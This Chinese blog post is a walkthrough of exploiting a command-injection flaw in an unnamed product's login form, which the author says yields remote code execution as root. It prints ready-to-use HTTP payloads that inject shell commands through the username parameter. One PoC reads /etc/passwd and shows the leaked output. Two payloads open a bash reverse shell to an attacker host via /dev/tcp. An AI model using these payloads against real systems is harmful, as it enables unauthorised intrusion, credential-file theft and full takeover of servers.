当burpsuite爆破完成时,注意到POST数据中如果带有 ;’ ,响应数据包发生异常。

img

通过响应包信息,猜测可能存在一个远程执行代码漏洞,并将此数据包放在repeater中,我发现如果发布数据中有

一个 ‘ ,系统将抛出异常。

img

img

进一步测试时,我发现username参数或password任一参数如果包含 ‘ ,将引发此异常

img

定尝试发送 ‘ ‘ 来查看响应包。

img

我注意到 grep 命令错误,服务端的代码可能是这样

var1 = `grep xxxx` 
var2 = $(python -c "from crypt import crypt;print crypt('$username','$1$$var1')")

尝试发送 -V 和 –help 来查看响应包,响应包证实了猜测

img

img

尝试读取 /etc/passswd

img

尝试列目录

img

确认存在一个远程执行命令执行漏洞,经过fuzz,得到以下payload

img

img

反弹 shell

op=login&username=1 2\',\'1\'\); `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F80%200%3E%261`

payload发送后, 在 kali linux 服务器上获取了一个 root 权限的 shell

img

上面是原文的测试思路,但经过重新测试之后发现还有另一种简单方法

POC测试(出现 root:x:0:0 则存在漏洞)
op=login&username=test`$(cat /etc/passwd)`

{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}

反弹shell
op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)`

img


文章作者: 吗喽の小屋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 吗喽の小屋 !
  目录